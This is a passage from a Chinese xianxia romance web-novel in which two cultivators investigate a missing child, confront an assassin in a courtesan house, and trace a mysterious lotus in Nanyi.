孤竹京用灵识对撼刑道:‘‘你还睡的挺香的啊?’’
撼刑听见主人阴冷的口吻早已经条件反射,乍的惊醒,哆哆嗦嗦道:‘‘我我我我不知道啊……’’
孤竹京剑眉紧锁,任舒映脸色惨白,孤竹京才想起来这还是个病秧子。
罢了,为了蛊母。
他看着旁边单薄的被子没有动,反而把自己宽大的外袍丢在任舒映身上,毫不犹豫地把剑扯出来。
撼刑可不敢说话了,这种情况,装死最好。
孤竹京还听见了外面走动的声音,不过他现在倒是有些疲惫了,眼皮都懒得掀,悠悠念叨着,明日再处理吧。
索性坐在一张竹椅上,枯坐没动过。
一夜无事。
————
任舒映一觉醒来倒是吓的不轻了。
她没有看错吧?
昨夜才提了孤竹京,今天一睁开眼睛就和他来个四目相对。
还有身上盖着的大袍,
要不要这么惊悚啊!??
孤竹京看着任舒映反之,一脸淡然。
看见任舒映起来后,头也不回径直往外而去。
房外在角隅猫了一整夜的农户本来以为屋子里面有魔族,触动了结界,谁知出来的居然是一个男人,而魔气已经销声匿迹,农户张开嘴巴,难以置信看着孤竹京。
内心连连道,“不可能……不可能……”
7. 梅花古阵叶道师
农户死死的盯着孤竹京,一直等待阵法被触发。
不管是魔族或者还是魔修,只要在他的梅花阵中阵下,皆原形毕露,就地伏法。
可孤竹京不仅若无其事的在阵法中来回走动,还不经意间给了他一个轻蔑而带有嘲讽之意的斜睨。
任舒映跟着走出来,与农户打了个照面。
农户神情略微僵硬,任舒映顺着农户的目光而去,他正警惕的看着孤竹京。
对于农户来说确实是挺怪异的,第二天起来看见一个陌生人出现在家中,任谁都会起防备心。
孤竹京面对农户毫无反应,他这般淡然的反应,反倒是农户显得做贼心虚。
见孤竹京没有半分要解释的意思,任舒映只好挺身而出,她尴尬咳了咳,意有所指:“他是我朋友,半夜来寻我,抱歉这有点唐突了……”
任舒映本来也不擅长说谎,她还在渺梦山的时候都是干正事,汇报任务时候也是如实告知。
说谎向来不打腹稿,想到什么说什么。
好在农户也没有多注意,他点了点头说道:‘‘的确是有些吓人,不过是你认识的就好……”
“叩叩叩——”农户还没有说完,一愣看着门口。
“……叶道师,在家吗?”农户话头还没有说完,话头又转弯对着两人道:“我去看看。”
农户刚开门,一位穿着淡红色长衫的中年妇人即刻跪在地上,声泪俱下,
“叶道师,求求你看看我女儿陆英吧,她自从被夫家休了,就成日窝在房间,茶也不思,饭也不想。还一直叨叨着她生的那可怜早夭的孩子还落在夫家,求求,你去看看吧……”
那位叫叶道师的农户心下一沉,很快回答:“好,带我去看看。”
任舒映像兔子一样立马跳到叶道师身边,“叶道师,我可以跟你去看看吗?”
叶道师看了看红衣妇人没有异议,才说:“自便。”
任舒映走时还不忘回头拉着一脸愁闷的孤竹京。
任舒映虽拉着他衣袖,但孤竹京纹丝不动。
任舒映:“……”
“你要去,拉着我作何?”
孤竹京对此事兴味索然,显然没有半分想掺和进去的意思。
任舒映左顾右盼,还是凑进了些压低了声音:“这个叶道师,有问题。”
孤竹京看着任舒映脑袋靠近,就闻到了一股淡淡的药味。
恍惚间,他只感觉头传来一阵刺痛,忽而听不清外界的声音。
他的脑海隐隐约约里出现了一些没有见过的画面,
苦涩而熟悉的药味,
一个被摔的四分五裂的镜子,
还有他总是反复的在屋子做着一些事情……
他被一个拉女子着,跟着她在喧阗街市,一起在面摊吃着面条,但是又看不见了……
眼前一花,他看见任舒映拧起眉头催促道:“快走,快走啊,你先随我去,等下告诉你……”
“……”
孤竹京还没有回过神来,袖子再次被拉着,腿不受控制的跟了上去。
————
任舒映听了一路才听清楚怎么回事,叶道师叫叶谨辰,村外人。
几年前抓了几次在此作乱的魔修定居于此,年纪轻轻成为了这个方雨村远近闻名的除魔师,深受村民崇敬,不过他性子孤僻,除了村民找他处理玄乎的怪事或者凶悍的魔兽,也极少与他接触过。
到了那位女儿中邪的方嫂家门口,任舒映悄悄地对孤竹京道:‘‘这个叶谨辰是个深藏不露的阵修,’’
孤竹京看了眼叶谨辰先行一步进去,随口接了话茬,‘‘昨夜我就知道了,他以为我是魔族的,在我们门口蹲了一整夜,还设了一个屁都没有用的阵法。’’
‘‘不对,那可不只是一个普通的阵,是梅花阵中阵。’’
任舒映认真回忆片刻又问:''''你还记得那日…就是你破阵取雪鲛蛊那日吗?也是阵中阵,不过叶谨辰的阵法是受限于地形,并且阵法只针对魔族。''''
‘‘所以是因为我不是魔修,阵法才没有反应?’’孤竹京突然轻蔑的笑了。
任舒映有些莫名其妙,‘‘你笑什么?莫非你知道别的原因?’’
孤竹京笑而不语,他确实不是魔族之人,但是他随身带着那个几十年前被他收服的前魔域主。
他从魔域出来忘了控制识海,不断散发的魔息萦绕在他身边,这才触发阵法,叶谨辰才以为阵法内有魔族罢了。
看来把前魔域主困在自己识海中还真的可以瞒天过海了,混在寻常修士中隐匿魔息,没有阵法或者修士发现他的身份。
在魔域,借助那源源不断的魔息,也没有魔族知道他们甘于俯首称臣的魔域主居然是他们最厌恶的修士。
何其有趣。
孤竹京勾唇对她道:‘‘你厉害,说的确实在理。’’
任舒映歪头疑狐不语,怎么感觉孤竹京在敷衍她。
————
任舒映进去看了情况,确实是和她猜测一般无二,
叶谨辰是个阵修,行事自然是用阵修的脑回路办事,也不知道孤竹京到底在笑什么。
她真的无语。
叶谨辰先是检查一遍房间,随后又到处走来走去洒下他随身携带的一袋驱魔气的白色粉末,一套操作下来行云流水。
任舒映趁此期间问了方嫂关于她女儿的一些过往,才发现了端倪。
就是在她女儿陆英其实与丈夫成婚以来一直都是恩爱有加,可是就在几个月前陆应诞下一子后,丈夫却对她的态度天翻地覆,不知道从何处听说陆英在外面偷汉子,其实早已经暗结珠胎,腹中的孩子也是个不知名的野杂种。
陆英丈夫一怒之下就要对她和孩子下手,若不是隔壁人家听见陆英的哭喊声,估计方嫂再也见不到她女儿了。
再过了一夜,他们和离了。
那襁褓中的孩子明明带回陆英娘家养着,可就在第二日居然毫无消失的毫无痕迹。
陆英也因为孩子失踪后疯了。
说道这里方嫂又替女儿哭诉道:‘‘我们家陆英性格乖巧又贤淑,平日里大门不出二门不迈,在家不是做绣工就是准备一日三餐的吃用,那里还有闲心去…去…’’说到这,方嫂哽咽的难以言说。
任舒映听到这里已然是心中五味杂陈,昔日朝夕相处,形影不离。
不过是听信了外人虚言,就如此狠心,不顾及情面,对妻儿痛下杀手
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‘‘姑娘,我们别无要求,就希望找到那可怜的孩子,还请你们帮帮我……’’
任舒映看着方嫂双膝就要落地,急忙扶起来连连道:‘‘快起来,孩子我会替你找到,你照顾好陆姑娘,切莫太过担忧。’’
叶谨辰刚好回来,‘‘方嫂,先不要着急,我方才看过了,陆姑娘没有中邪,她只是一时难以接受孩子丢了,你好好开导她,还有记得把我方才撒的白粉用水冲了。’’
叶谨辰交代完,三人才离开。
走的路上叶谨辰问任舒映:''''任……''''
‘‘任舒映’’她先接话。
‘‘哦,你们对此有想法吗?’’叶谨辰看着任舒映背后始终没有说过话的孤竹京还是略过她的名字,
‘‘按照目前的线索,看来只有陆英的丈夫嫌疑最大,所以我先去看看能不能打听她丈夫最近在何处。’’任舒映答道。
‘‘正有此意,方才问了陆英丈夫的居所,就在方雨村外的农庄区。’’
‘‘好的,那我们现在就去吧,’’任舒映说完,孤竹京叫住了她,‘‘任舒映你还记得你来这要干嘛吗?’’
孤竹京想不明白,明明这个事是叶谨辰的,也以为这个女人只是想来看看热闹,如今他是知道了,不仅药看热闹,还要掺和进来。
反倒是寻药的事情,就这么抛之脑后?
叶谨辰看着二人,猝然想到什么,收敛了几分情绪,颇为识趣的走远几步,
任舒映当然清楚自己的身体情况,但她没有想多久,‘‘我既然答应了方嫂,就不会食言,或许现在看来我愚不可及,毕竟自身难保,可是我觉得现在多管闲事,也好像来得及,放心吧我不会死,就算是要死了,我必定会先把你的蛊母还给你再死。’’
说罢,任舒映往叶谨辰方向去。
孤竹京饶有兴趣看着任舒映,心念道,是啊,愚不可及。
————
任舒映跟上前后,孤竹京却驻足不前,
叶谨辰好奇问她:‘‘你们不一起吗?’’
‘‘不啊,为何这么说,他平时遇到任何事,都是以看客的身份,他从来不关系这些事,’’
叶谨辰想了想又道:‘‘那看他现在无所事事的样子,应该是为了你才在这里吧?’’叶谨辰没有直接问他们的关系,反正也是好奇,
任舒映摇头,‘‘我们就是因为利益才结识,他在这里,也不过是因为我身上有他值得等待的价值。’’
叶谨辰听不懂了,他脑子一片空白,但还是提醒她,‘‘多注意一下你身边那个人,他身上确实有魔气,我的阵法若是困住他,他要出来轻而易举。’’
‘‘看来你对你的阵法很有自信。’’任舒映没有多大在意,他这样的人沾上点魔气在她快来不足为奇,随之反问。
‘‘自然,梅花千里寻,寻机无梅花。’’
这个少年自以为的神神叨叨的梅花古阵暗语再无人能懂。
任舒映却静静的听着未道破。
不过现在她可以笃定叶谨辰,他就是梅花阵中阵的后人,且精通此阵。
————
话语间,叶谨辰停下脚步道:
‘‘到了’’
8. 只道花楼风尘事
‘‘这里是陆英的丈夫居所。’’叶谨辰在一间破败的泥屋来回走动,再次开口,‘‘不过可能人好一段时日没有回来了,’’
泥屋外面有一块被荒废的田地,些许是因为主人太久没有去过,泥质干硬菜叶被晒得干巴巴。
‘‘房门口是虚掩着的,你过来看看。’’任舒映叫了一声率先开门进去,进入屋内,一股刺鼻的发霉味直扑而来。一片狼藉现入眼帘,陈设的家具似乎被大风卷席过,破碎的纸张和杂物随处可见,她走到书案旁,注意很快落到一沓泛黄的旧纸上。
她随手抽出一张抖动边咳嗽,尘灰顷刻飞扬。
纸张写的是一封情诗,
君住长江头,妾居长江尾。思君不见君,共饮此江水。此思不留恨,愿妾入君心。
观字清秀,似是女子所写。任舒映脑海中蓦然想起了一个猜测,
若这不是陆英所写,那可能就是他的丈夫结识了一位红颜知己,有了异心。
任舒映和叶谨辰说了她的猜测,叶谨辰乍然想起来一件事,‘‘我们还忘了一个,孩子,既然陆英的孩子被带走了,可是这里却没有孩子存在的踪迹。’’
‘‘他们是在一次动手吵架后,陆英直接被带回了娘家,肯定是来不及带走全部东西,可是方才我看了衣柜,只有男子穿的几件旧衫,储物箱,或又是杂物室根本没有一件孩子的衣物,孩子许是被带走了。’’
任舒映听罢,把方才看过的信送道他面前,‘‘你看,这个信像不像是陆英写的。’’
叶谨辰不过看了一眼,随即恍然道:‘‘我大概知道这封信是那里来的。’’他指着信的末尾,
‘‘这里没有写名,反倒是绘了一朵桃花,南夷有一楚馆,叫彩鸢楼,楼中女子各有其才艺,多以色示人但是她们都不卖身。她们在以信件与来客交流时候都不会留下名字,而是绘有各种花,以增情趣,比如桃花,意蕴着爱慕,所以信中留花在南夷非常时兴。’’
任舒映沉默片刻心道这阵修还真的是学识渊博,知道的还真不少。
‘‘那若是南夷家家户户都有可能在用这种信中留花的话,岂不是难以判断写信之人就是彩鸢楼的女子?’’任舒映腹诽完,看着纸张上面的字迹反问。
‘‘此法虽在南夷流传广泛,但是毕竟出自市井楚馆,一般良家女子不会效仿,任姑娘此信交给我,会前去彩鸢楼查一查。’’
‘‘我也去吧。’’任舒映虽然要与他前去,但是她的目的与他不同,但也是心中的猜测遂没有说出来。
回叶谨辰家的路上,任舒映才想起来差点漏了孤竹京,她和孤竹京离开时候,他虽然没有说去哪了,但是她在孤竹京寻她的那夜留了一个心眼。
剑穗。
她在剑穗下了灵犀印,本来还是打算给叩雪用,她经常忘记剑放在哪,所以在制作的时候在剑穗下了灵犀印,现在寻到灵犀印,那人不就找到了。
所以任舒映向叶谨辰问过彩鸢楼的位置后与他道别,让他先行一步,她自己取找孤竹京后再过去于叶谨辰回合。
任舒映也挺好奇孤竹京没事干会在哪的,一路上跟着灵犀印路过热闹的大街,茶楼酒馆,最后不知不觉走到一间赌坊旁边的花楼,
任舒映:‘‘……’’
这是一家正儿八经的花楼,在门口揽客的女子还不少,百花齐放,各有千秋,
来来往往的都是锦衣富户,又或者是消愁解闷的普通男人。
而任舒映站在门外,犹如流落红尘的谪仙,眉眼带有一丝疑惑和不解,竟惹得过往的来客频频回首窥看。
门口为首的老鸨眼光毒辣阅人无数,一眼就猜出任舒映的来意,一看就是有钱的富户妇人来捉在外花天酒地的夫君来了,这种事情已经屡见不鲜,隔几日就会出现,有些过来还不忘带着下手,抓人后砸东西破坏楼中生意。
最为烦厌此等妇人,但是一看任舒映空手而来,顿时放下心来,这种应该是成婚不久的,手段欠佳还没有以往来的狠厉,是个好打发的。
老鸨清了清嗓子,不屑的走到任舒映面前,‘‘姑娘,我们这里只接男客。’’
‘‘嗯,我知道了。’’任舒映温和的点头回答。
啊?就这样?老鸨有些意外,但是任舒映已经转身走了。
一炷香后,老鸨继续迎客时候,身边一个楼外招揽客人的女子拍了拍她的背,口里流露出一丝惊艳和崇拜,‘‘万妈妈,万妈妈!看看那,那边走过来一个好年轻好帅气的客人啊!’’
‘‘哪呢?’’老鸨眯着眼睛扫去,
‘‘……’’
待那客人走近,老鸨沉默了。
是任舒映换了一身男装,原路回来。
既然不让普通女子进入,那她扮成男的总不能进不去了吧看,方才花了不少银两整了个贵气的行头,如今看来就是个富贵少爷,这一下子吸引几个女子的注意。
老鸨挤上前去,看着任舒映语气带着难以察觉的警告之意道:‘‘公子,来即是客,让姑娘们好生伺候着,若是又招待不周的还请公子见谅。’’
她的言下之意就是让她带着夫君走人最好,别来砸她场子,但也不知道她听出来没有。
任舒映微微点头,淡淡的‘‘哦’’了一声作回应。
任舒映也不管这个老鸨有没有看出来是假扮的,反正一路畅通无阻,就是被几位貌美的女子拥护在中间,香粉揉杂在一起,过于馥郁让她有些…微醺了。
进入楼内,现入眼帘的是高台收放自如的水袖舞,醉饮的男女,明晃晃的精致烛灯,喧闹异常。
任舒映觉得自己身边人过多了,便遣走了,只留下一个看起来聪明伶俐又懂事的。
她挑了个没有什么人的位置直入正题,‘‘今日有没有看见一个带着一把黑剑,长的高高的,看起来就不好相处的人来过?’’
那个黄衫女子被老鸨提点过,知道面前这位是来捉夫的,让她实话实说,别惹出乱子就好了。
对方马上回答:‘‘有的,那位公子挑了我们这里的花魁在雅间喝酒呢,’’
与任舒映说话的女子忽然有些艳羡,她口中说的那个负剑黑衣大氅的公子当真是帅的万里挑一,气场威压可以让人不禁臣服,心想着这位女扮男装的夫人与那公子若是站在一起定然是颇为般配的,可惜那公子不
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专情,亦不能免俗不能离开这些烟花柳巷,唉…男人啊怎都是这般…
任舒映没有注意到身边女子的眉眼从羡慕到惋惜,而是环顾四周熟悉了环境后问:‘‘姑娘,那他人可是在花魁的雅间?’’
‘‘啊是的,姑…公子莫急,我现在去。’’
任舒映没听清,循声看着那女子,她已经落荒而逃。
黄衫女子跑到二楼才缓和下来,呼还好反应过来了,话头转回来,好险些叫错了。
她走到花魁房外正要敲门,在附近陪客人喝酒的女人忽然上前来拦了下来,
她对拦着她的那个女人有些许印象,是花魁谢雅茹的一个关系较为密切的朋友,不过她们一向鲜少其他姐妹说话,倒是喜欢结交些富贵公子,达官贵人。妄想被他们赎身过上锦衣富食的贵夫人生活。
她不用多思考也知道这个女人要说什么,无非是看见那负剑的公子雍容贵气,容貌不凡,又起了贪恋罢了。
‘‘张娘,屋内那位公子是有妇之夫,而那个公子的夫人就在下面候着,我现在要把里面的公子请出来,你若不想惹火烧身就不要拦着我。’’
''''程娘子啊,你要记住,我们都是风尘女子,低位低贱,若不能依附一个好人家,这辈子怕是连一个可以为自己送终的人都没有了。''''
张娘走在她的面前循循善诱,‘‘我们只不过是求一个安身之所,何错之有?而若是谢姐姐她的了这份恩惠,也少不了咱们楼中一直以来的相助,我想你年纪虽小,但是这种道理你也当懂得识趣吧。’’
强词夺理,程娘不屑于与之争辩,从来道不同不相为谋,她不过是看在楼中只卖艺而不屈身委下的原则来此维生,但是她们自甘堕落,愿为权贵折腰,她岂能何此等人沟通下去?她淡然答:‘‘有一技傍身还怕赚不到棺材本,你这般想不过是低看自己,’’说罢她毫无顾忌的对禁闭着的门大喊:
‘‘谢姐姐!谢姐姐!有事要说,可否一见?’’
可连连喊了几声,房内无甚动静,更加无人应答。
张娘不耐烦的打断话,“你看吧,还非要打扰人家,凭借谢姐姐的容貌与才艺,说不定呢他们此刻已是生米煮成熟饭了。你啊该做什么做什么去吧,莫要惹得大家都不快了才是。’’
程娘站在门口恍若未闻,就在她思考之余,房内乍然响起瓷器摔裂的声响,伴随着还有尖锐的叫声,是花魁面带惊恐之状,仿佛见到什么极为可怕的东西,竟然不顾衣衫半褪,慌慌张张的跑出来,围观的男男女女都不解的站立在原处,心思各异。
张娘回过神后,立马前去追破门而出的花魁,场面开始议论纷纷起来。
‘‘我看啊,就是这个女人接的客人玩的过于花哨,把好好的一个美人吓的花容失色罢。’’
‘‘哎,那究竟是何方公子竟然可以于那花魁共处一夜,还如此不懂得怜香惜玉。’’
‘‘且看看里面什么情况就是了。’’
话题一转,众人相竟探头张望,开始好奇房内究竟是何人起来。
可是当房内的公子从门踏出来后,在场看着的诸位客人,皆顿时噤若寒蝉,岂敢吭声。
9. 两离剑穗灵犀印
孤竹京提着一把鲜血淋漓的长剑脸色阴沉的走了出来。
地板上划出一条刺目的血痕,剑身在滴答滴答的掉红水。
在众人眼里这不就是一个杀人不眨眼的可怕疯子。
他们都死死的盯着孤竹京,目不转睛,生怕下一秒死的人就是自己。
程娘忐忑不安的看着孤竹京,踌躇片刻还是走上前去,她压低声音道:
“公子……楼下有一位白衣公子在等你。”
孤竹京纹丝不动,挑眉看着程娘,“谁。”
“就是你的……”程娘小心翼翼在走上前一步,声音愈发小了,
“……你的夫人在楼下。”
孤竹京:“……?”
我哪来的夫人?
孤竹京冷笑不语,随即不紧不慢的往下走去。
任舒映转向孤竹京提着沾着血的撼刑下来,匆匆忙忙走去。
“你……这是怎么回事?”
他这是杀人了吗?
正当她疑惑之际,花魁谢雅茹已经整顿好外衫跑回向孤竹京,眼里尽是无法遮掩的担忧,她伸出一张干净的绣帕递到他面前,
“公子你伤到手臂了,先包扎一下吧。”
任舒映愈加茫然看着二人。
花魁见孤竹京眼底还余留着一股嗜血戾气,又一言不发,始终看着他受伤的一臂,久久不敢上前。
孤竹京虽然接过绣帕,但始终目不斜视,越过身前的美艳花魁,冷若冰霜的视线一直都落在任舒映身上。
程娘最先看出氛围不对劲,明明正主夫人还在场,谢娘却不自知,还站在二人中间满怀深情看着人家夫君,程娘心都揪在一块了。
老鸨这时候火急火燎赶过来打圆场,“哎呦,你们都在看什么呢,这儿没有什么事,各位爷喝酒的、观舞的请继续啊!”
老鸨遣散人群后,走回来把花魁谢娘拉到一边窃窃私语:“谢娘啊,这是怎么回事啊?”
“没……没事,方才窗外突然出现一个刺客,若非那位公子护着,如若不然小女子命丧于此了。”
任舒映耳力不错,也听见了花魁的话,她还在思索时,孤竹京悄无声息走到任舒映身边,垂眸看着她耳畔,留下一语:
“随我来。”
任舒映扭头望去,那男人又往二楼原路折回去了。
任舒映蹦跶蹦跶的跟上去,直到她踏进入孤竹京出来的那个房中,现入眼帘的画面让她顿时惊愕伫立在原地。
一个黑衣男人倒在一片血泊中,让她后颈发凉的是死在地面的男人他被斩断了一只手臂。
断臂正横放在孤竹京衣角旁边,他垂下眼皮用方才花魁给他的绣帕慢条斯理擦拭着撼刑,头也不抬的道:“看看。”
“这是你杀的。”任舒映没有问,而是陈述一句事实再接着问:“为何断他一臂?”
孤竹京沉默不语。
这个刺客在刺杀过程中用剑断了一缕他的发尾,他的印象里这头发却是至关重要,他虽然对头发的重视感到莫名其妙,但不论如何伤他头发犹如触碰到逆鳞,定不会善罢甘休。
念及此处,孤竹京只是话头一转反问:
“难道你不应该问问我,此人为何而来吗?”
好吧,他不愿意说出来,任舒映也不是特别想知道,无奈之下她哭笑不得依着话问:
“那你说吧,怎么回事。”
“……”
孤竹京又缄默不言。
他感觉自己最近越来越矫情,特别是现在任舒映顺着他的话说下去的时候,仿佛在依着一个孩童一般。
任舒映张望孤竹京,顿时有些哑口无言,和他相处颇累。方才是孤竹京让她问,如今他又莫名面孔一换高冷不回话。
任舒映还是道:“你不说那罢了,我看看尸体去。”
她蹲在尸身边,头顶忽然响起声音,
“此人是个剑修,我在街市听闻那位女花魁是南夷腹地迁到此处,或许她知道金炽莲的种植之处在哪,所以我才与她见面。”
任舒映没有起身,她点点头赞叹一声,“孤竹京还是你其实人好的,居然会办正事。”
孤竹京嗤笑。
好?还是头一回听说有人觉得他好。他看起来像好人么?
“你可向花魁问出什么了?”
“没有。”孤竹京一抹笑意转瞬即逝,眼底暗沉沉的压下,
“那个女人一直不愿意开口,我方才倒是想两人一起杀了,但我让你来是要问你,你是不是在此遇到你同宗的仇人了?”
任舒映一怔,心中沉寂,“何出此言。”
“此人行刺的剑刻有梅花纹。”
言落,任舒映瞬时站起,他的话已是不言而喻。
她目不转睛看着血泊里的剑,摇头否定,“此人不是渺梦山的弟子,但是这把剑确实是渺梦山所铸。”
孤竹京露出得逞的笑容,“你果然是渺梦山的人。”
任舒映怔住。
啊,忘了他一直不知道自己宗门何处,居然忘记防备被他套话了。
任舒映咬牙切齿,“你又是如何知道我是渺梦山一派?”
“他一直在阻拦我继续查金炽莲,随后我断他一臂逼他说出实情,他知道你的名字和身份了,还要为了找不到药,亲自出面目的就是灭花魁的口,让她再也开不了口。”
任舒映问:“所以你就想让我自己承认。”
孤竹京对此表示默认,反正也不怕任舒映记恨。
她左思右想最终道:“我的已经不是渺梦山的弟子,切莫再提了。我去看看花魁,我想去问问她。”
——
夜幕四合,任舒映与孤竹京并肩而坐,花魁谢娘在对面如坐针毡,她从一进房内就开始神情躲闪,绣中的香帕被抓的皱皱巴巴。
任舒映语气轻柔和善对谢娘道:“不必紧张,我只是想问你几个问题,你好好回答即可。”
可还没有开始问,谢娘已经开始推辞,“小女子一介学识浅薄之人,公……公子你问的恐怕难以回话。”
“我只是对你的过去有些好奇,你只要替我讲讲让我了解了解便好。”
“如若也是想知道关于金炽莲小女子无可奉告。”
“我们寻金炽莲只是用于制药,为何你却一直闭口不谈?”
谢娘却是脸上出现畏惧和不解,“入药?这就是邪祟之物,怎么可能入药?它的存在只会带来灾厄,你们不要再去打听了。”
“二位公子,小女子受了惊吓已有些许劳累,恕不奉陪告辞。”
看花魁如此果断拒绝,两人也只好作罢。
任舒映看着谢娘离开,心中的忧愁在口中化作一声喟叹,“孤竹京现在有何想法?”
“邪祟么……”孤竹京垂下眼帘,漫不经心地道:“我倒是想知道那是什么邪祟。”能有他邪?
任舒映:“……所以我们要去南夷内腹?”
孤竹京勾唇一笑,不置可否。
——
谢娘慌慌张张跑出来径直往老鸨屋内去,老鸨正全神贯注数着今天赚的银两,忽然被破门而入,心头猛跳,对着来人破口大骂:“谁啊!?如此不懂规矩?”
“姨母,我呆不下去了……怎么办?他们已经盯上我了,他们非要查那邪祟之物。”
“那就让他们查,只要你守口如瓶,他们又知道什
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么?”
“不行啊……现在另外一批人也可能在暗处盯着我,那个死在我的房内的刺客就是来杀我的,姨母安排一下让我出去躲躲吧……”
“……行了你先回去候着,此事我考虑考虑。”
见老鸨至今还没有松开,花魁心中已经有些肯定自己的猜忌了。
她与姨母一同搬到此处维生,但是她们还是没有甩脱那可怕的邪祟,它们阴魂不散,不知何时会在暗处突然出现。
而姨母不让她走,无非就是看上她的辟邪珠,担心她走后没有辟邪珠趋避,那些邪祟之物找上来。
但是她不能安心待在此处了,怀璧其罪,她知道金炽莲的事情太多,看来是已经被南夷腹地黑宜城的人发现,如此下去她还可以活多久?
谢娘平静的回到自己房中,把床榻上藏在软枕的辟邪珠紧握在手心,目光沉沉。
今夜一不做二不休,带好金银细软就连夜逃跑吧。
——
夜色深沉,一轮弯月隐匿在层层叠叠的云雾中,街道上空无一人,万籁俱寂之中余凉风拂面,树影婆娑。
一个偏僻的小巷走出来一高一低两个身影,为首白衣少年身后跟随一个身长玉立,玄色锦袍的男人。
“任舒映,你从何处寻到我了。”
孤竹京跟着她离开花楼才想起来问,明明他已经隐藏好魔息,她定不会发现自己行踪才是。
冥思苦想,除了撼刑剑灵感知,还有魔族那群嗅觉灵敏的魔兽,她又是怎么找到他的。
任舒映停顿下来,嘴中带上一抹笑容,“你把撼刑给我。”
孤竹京疑狐地拿出来,但是没有给她。
撼刑剑柄上蓦然悬挂一个显眼的银白色挂饰。
他居然到现在都没有发现。
“是这个剑穗?”
“对啊,这是陪尾天蚕雪丝所制,即便放上修界都是可遇不可求的稀罕物。”
“你就是用这个监视我的行踪?”
任舒映尴尬笑笑,其实她这么说是想贿赂一下孤竹京,让他收下这个本来自己用的剑穗欠个人情,没想到此人就是抓着这个问题不放。
“意料之外啊,这个剑穗我本来就是给自己的剑用,但是它现在也寻不回来了,我看和撼刑挺合的我就给它了。”任舒映讪讪地接着道:
“我当时制作的时候想到自己老忘记剑放在哪里,我才剑穗下了个灵犀印,以便寻回,这个是意外碰巧。”
孤竹京对此半信半疑,还把撼刑发出来问:“你和任舒映呆了一段时间了,她说的可属实?”
撼刑叽里呱啦:“孤竹京你信我啊,我什么都没有说,呸呸呸!她什么都没说,我什么都不知道啊,我就是觉得这个剑穗还挺好看的……”
孤竹京气极反笑:“你就不应该叫撼刑,该叫‘很行’了。”
他说罢,一边要把剑穗取出来一边对任舒映道:“这个剑穗既然是给你自己配的,我岂会横刀夺爱,拿回去自己用吧。”
“哎哎哎!”任舒映倏地抓住他要取剑穗的手,连连制止,“这送出去的东西泼出去的水,你看撼刑它也是很喜欢的,你既然不欲横刀夺爱那就满足一下你的剑灵宝宝吧。”
孤竹京看着一只温凉的爪子扣住自己,怔了少息,眉目变幻莫测,最终反常的点头答应。
任舒映会意后即刻撤回了爪子,仿佛自己在多摸一会自己便宜就要被多占一分。
“那就不要取下来了啊。”
孤竹京字字顿音:“不、取。”
随后他率先走了,走前还对任舒映闷声补了一句:“你手真凉,你是时日不多了吧?”
任舒映:“……”
10. 崇邪(一)
夜深至三更,两个人围着附近绕了一圈,就唯有一家面馆还没有打烊,任舒映灵机一动,忽然提议道:
“我们去吃个面吧?”
孤竹京没多想,不动声色的滚动喉结道:“可以。”
——
方踏入铺子里,一个小二笑容可掬迎来道:“客官,你们要吃什么”
两个人落了坐,异口同声道:
“鲜酱面。”
小二笑容一顿,立马答:“好嘞,二位公子请稍等。”
任舒映:“……”
其实她觉得孤竹京还挺喜欢吃面的,上一回也是看见他一个人在吃面,她干咳着看着孤竹京,‘‘你也喜欢吃面啊,’’
‘‘嗯。’’他其实也不知道自己为何喜欢吃,反正一时有了食欲就会自己一人到人界的街市徘徊,然后到面摊静静的吃面,他就会觉得自己心情舒畅很多。
任舒映看着正在沉思的男人,心生一计,其实于他相处也有一个月了,他虽然手段狠辣,但也不是不讲道理的人,甚至还一声不吭地帮她寻药,她交友的原则也很简单,只要是心仍留善念,就是他是魔修也无妨。
‘‘哎,不如看你也是独来独往的,我以前也是如此,不如日后得闲我们一起来吃面如何?’’
‘‘不要。’’
孤竹京不傻,早就看出来任舒映虽然一副乖巧听话的面孔,但一遇到什么危险,她就是本性暴露,无利不往。巴不得与他撇清关系为好,他就是不喜与人在心计上周旋,并非他愚钝,不过是麻烦,明明已经知道了他们的目的,偏偏还要等着他们绞尽脑汁,拐弯抹角。
至此这种明明忌惮着他的关系却还要试图与他打好关系的人,他也见多了,起初他还有精力见个面再冷淡的拒绝,如今他倒是懒得搭理,若是穷追不舍那就杀了。
‘‘哦,那我请你吃不要拒绝啊,就当凑个数的。’’任舒映自顾自道,还补了一句,‘‘你别多想。’’
孤竹京:‘‘……’’
沉默的氛围没有停留太久,面馆的笑容满面走来,小二端着热腾腾的面摆放再桌面,浓郁的香味顿时蔓延四处,雾气氤氲而上。
任舒映瞬间垂涎三尺,抓起筷子大块朵颐起来。
孤竹京悄悄瞥了一眼,便也没有端起孤傲的架子,两人顿时埋头苦吃。
二人吃完没过多久,外面竟然毫无征兆下起大雨。
雨淅淅沥沥从屋檐滑落下来,滴滴答答地落在石砖上,悬挂在店铺外的灯笼被袭袭凉风吹得左摇右晃。
任舒映吃的差不多了正要起身去付钱,屋外忽然匆匆忙忙跑入一个避雨的路人。那个路人似是腿脚不便,却还是直奔掌柜而去。
‘‘掌柜的,你们去外面放杂物的小巷看看,那里倒着一个人,我就在那远远的看了几眼,大差不差还是个女人。’’
闻言任舒映立马跑去付钱,顺便还向路人打听,‘‘你在何时看见的?’’
‘‘下雨前啊,我以为那人是喝醉了倒地不起,但是我方才正要回去,突然下起雨,我就原路折返,那个人却好像一点都没有动过太瘆人我就没敢过去。’’
‘‘行,多谢告知,我去看看。’’
掌柜插话道:‘‘你们可小心些啊,近日那修界重犯破了牢,如今就在南夷,说不好的还可能在这附近啊。’’
任舒映眉头微挑,回头眯着眼看向孤竹京,虽然还不清楚他真正的实力若何,但是她觉得孤竹京对付这些人应该是不费吹灰之力的。
‘‘哎,等你们走了我也准备打烊了,这赔命的买卖还真的不好赚啊。’’说着掌柜又是连连叹息,
孤竹京饮下一口茶,搁下白瓷杯,莫名其妙看着任舒映。
‘‘方才听那个避雨的人说外面一个小巷有一个晕倒的人,走,跟我去看看。’’
又多管闲事,那个人晕不晕与他何干,他果断拒绝了。‘‘不去,我在这等着,你自己去吧。’’
‘‘去吧,毕竟南夷四处都在传陪尾牢犯就在附近行凶,我一个人对付不过来怎么办?’’
‘‘……’’孤竹京不紧不慢的又饮下一口茶。
‘‘你想想你的蛊母还在我这,万一我死在这里,你岂不是功亏一篑?’’
‘‘……’’孤竹京恍若未闻,垂眸欲要继续倒茶。
‘‘好吧,好吧’’任舒映无可奈何凑进且仅又半臂距离,在孤竹京毫无防备的情况下抓住他的手臂,但是任舒映其实有些胆怯,没想到此人看着挺瘦弱的,手臂还挺粗的,要是他真的动怒了后果不堪设想。
